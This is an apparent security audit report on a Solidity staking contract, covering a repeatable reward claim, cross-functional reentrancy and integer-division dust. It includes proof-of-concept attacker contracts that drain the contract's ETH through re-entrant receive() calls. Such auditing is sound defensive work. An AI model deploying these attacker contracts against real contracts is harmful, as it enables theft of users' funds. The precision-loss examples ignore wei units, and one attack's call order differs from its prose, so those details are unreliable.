SECURITY AUDIT REPORT: STAKING PROTOCOL

PROJECT	Staking Protocol
REPOSITORY	https://github.com/molalign8468/30-day-security-sprint
COMMIT HASH	`f018cd4a5856a7ccab75141453e36df2562ffe25`
AUDIT DATE	February 12, 2026
AUDITOR	Molalign Getahun

Executive Summary

Status***: CRITICAL RISK***

The Staking contract contains one Critical severity vulnerability that enables an attacker to drain 100% of the contract's ETH balance via Unbounded Reward Claim Vulnerability attack, one High severity via cross-functional reentrancy attack and one Medium severity precision loss due to integer division in reward calculation. The contract is unsafe for mainnet deployment in its current state. Immediate remediation is required before any production use.

Severity	Count	Status
Critical	1	Unresolved
High	1	Unresolved
Medium	1	Unresolved
Low	0	-
Informational	0	-

Scope & Methodology

Scope

File	Type	Logic
Day2_Cross_functional_Reentrancy.sol	Smart Contract	claimRewards,stake and Withdrawal logic

Methodology:

- ✓ Manual code review
- ✓ Threat modeling
- ✓ Common vulnerability pattern analysis (SWC)

Severity Rating

Severity	Description
Critical	Full fund loss or protocol takeover
High	Significant fund risk
Medium	Logic or trust issues
Low	Minor risk
Informational	Best practices

Findings Summary

ID	Severity	Title
CRIT-01	Critical	Unbounded Reward Claim Vulnerability
HIGH-01	High	cross-functional reentrancy
MEDI-01	Medium	integer division in reward calculation

Detailed Findings

[CRIT-01] Unbounded Reward Claim Vulnerability

Severity: Critical

Location: Day2_Cross_functional_Reentrancy.sol:L22–L28

Description

The claimRewards() function calculates rewards based on stakes[msg.sender] and transfers ETH to the caller without updating any state to track claimed rewards.

Because the user's stake is never reduced and no reward-claim tracking mechanism exists, an attacker can repeatedly call claimRewards() to receive the same reward multiple times.

Example

- ✓ If a user stakes 10 ETH
- ✓ reward = 10 / 10 = 1 ETH
- ✓ The user can call claimRewards() repeatedly
- ✓ Each call transfers 1 ETH
- ✓ The process can continue until the entire contract balance is drained

Impact

The attacker can

- ✓ Withdraw the entire amount (100%) from the ETH balance associated with the contract
- ✓ Misappropriate funds from all users
- ✓ Erode trust from all users

Proof of Concept

Vulnerable Contract

```
function claimRewards() external {
  uint reward = stakes[msg.sender]/ 10;
  require(reward > 0 ,"No reward");

  (bool success,)= payable(msg.sender).call{value:reward}("");
  require(success,"Reward transfer failed");
 }
```

Attacker Contract

```
contract RewardAttacker {
 IStaking public stake;
 uint256 public initialDeposit;
 uint256 public constant REWARD_PERCENT  = 10;
 constructor(address _stakingAddress) {
  stake = IStaking(_stakingAddress);
 }

 function attack() external payable{
  initialDeposit = msg.value;
  stake.stake{value: msg.value}();
  stake.claimRewards();
 }

 receive() external payable{
  if(address(stake).balance > 0){
   stake.claimRewards();
  }
 }
}
```

Result
The attacker drains the entire vault balance in one transaction.

Recommendation

- ✓ **Track Claims:** Add a mapping to store when a user last claimed rewards.
- ✓ **Apply CEI Pattern:** Update the state *before* sending any ETH.
- ✓ **Use ReentrancyGuard:** Add an extra layer of protection using OpenZeppelin's nonReentrant modifier.

```
   mapping(address => uint256) public lastClaimTime;

  uint256 public constant REWARD_INTERVAL  = 30 days;

 function claimRewards()  external nonReentrant {

     // 1. CHECKS
     uint256 reward = stakes[msg.sender] / 10;
     require(reward > 0, "No reward");
     require(
        block.timestamp >= lastClaimTime[msg.sender] + REWARD_INTERVAL,
        "Rewards not yet available"
     );
     require(address(this).balance >= reward, "Contract insufficient funds");

     // 2. EFFECTS  (Update state BEFORE  the call)
     lastClaimTime[msg.sender]  = block.timestamp;

     // 3. INTERACTIONS
     (bool success, ) = payable(msg.sender).call{value: reward}("");
     require(success, "Reward transfer failed");
  }
```

[HIGH-01] cross-functional reentrancy

Severity: High

Location: Day2_Cross_functional_Reentrancy.sol:L13–L28

Description: The contract is vulnerable to a Cross-Functional Reentrancy attack involving the claimRewards() and withdraw() functions. Both functions operate on the same state variable (stakes[msg.sender]) and perform external ETH transfers before updating the state, violating the Checks-Effects-Interactions (CEI) pattern.

An attacker can exploit this by using the external call in claimRewards() to trigger a fallback function that calls withdraw() before the original claimRewards() execution completes. Since the stake has not yet been cleared, the attacker can withdraw their full deposit after already receiving rewards, effectively draining funds from the contract.

Example

- ✓ **Initial State:** Attacker has a stake of **10 ETH**.
- ✓ **Step 1:** Attacker calls claimRewards().
- ✓ **Step 2:** The contract calculates a reward of **1 ETH** ($10 / 10$).
- ✓ **Step 3:** The contract sends 1 ETH to the attacker via call.
- ✓ **Step 4:** The attacker's malicious contract fallback() function receives the ETH and immediately calls withdraw().
- ✓ **Step 5:** The withdraw() function checks stakes[msg.sender]. Since claimRewards hasn't finished, the stake is **still 10 ETH**.
- ✓ **Step 6:** The contract sends the **10 ETH** stake to the attacker.
- ✓ **Total Gain:** The attacker receives **11 ETH** from a **10 ETH** deposit.

Impact:

- ✓ An attacker can combine the reward claim and withdraw functions to drain both rewards and principal.
- ✓ Potential full depletion of user deposits and contract ETH balance.

Proof of Concept

Vulnerable Contract

```
  mapping(address => uint) public stakes;

 function withdraw() external{
   uint amount = stakes[msg.sender];
   require(amount >0,"ETH transfer failed");

   (bool success,) = msg.sender.call{value:amount}("");
   require(success);
   stakes[msg.sender] = 0;
  }

  function claimRewards() external {
   uint reward = stakes[msg.sender]/ 10;
   require(reward > 0 ,"No reward");

   (bool success,) = payable(msg.sender).call{value:reward}("");
   require(success,"Reward transfer failed");
  }
```

Attacker Contract

```
contract Attacker {
   IStaking public staking;
   bool public hasAttacked;

  constructor(address _stakingAddress){
   staking = IStaking(_stakingAddress);
  }

  function attack() external payable{
   staking.stake{value:msg.value}();
   staking.withdraw();
  }

  receive() external payable{
   if(!hasAttacked){
     hasAttacked = true;
     staking.claimRewards();
   }
  }
}
```

Recommendation: Apply the **Checks-Effects-Interactions** pattern: update state **before** making any external calls.

```
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

function withdraw() external nonReentrant {
        // 1. CHECKS
        uint256 amount = stakes[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // 2. EFFECTS (Update state BEFORE the external call)
        stakes[msg.sender] = 0;

        // 3. INTERACTIONS
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "ETH transfer failed");
    }
```

[MEDI-01] integer division in reward calculation

Severity: Medium

Location: Day2_Cross_functional_Reentrancy.sol:L23

Description

Solidity does not support fractional numbers (floating points). When performing division, any remainder is discarded, and the result is rounded down to the nearest whole integer.

In the current implementation of claimRewards(), the reward is calculated as stakes[msg.sender] / 10. If a user's stake is small or not a multiple of 10, the "extra" value is lost due to **truncation**. This is often referred to as "Dust Loss."

Example

- ✓ **Case A (Large Stake):** A user stakes **19 ETH**.
    - Reward = $19 / 10 = 1.9$
    - Solidity Result: **1 ETH** (0.9 ETH is lost).
- ✓ **Case B (Small Stake):** A user stakes **9 ETH**.
    - Reward = $9 / 10 = 0.9$
    - Solidity Result: **0 ETH**.
    - The require(reward > 0) check will fail, and the user will be unable to claim any rewards despite having a valid stake.

Impact

- Permanent fund loss due to small remainders (“dust”) from integer division.
- Users with smaller stakes may receive little or no rewards.
- Accumulated unclaimed rewards can become a significant inaccessible ETH balance.

Recommendation

- Use **scaled arithmetic** to preserve precision in reward calculations.
- Ensure **small stakes still receive rewards** by implementing minimum reward handling or rounding.

Conclusion

Deployment should not proceed until the issue is fixed and the contract is re-audited.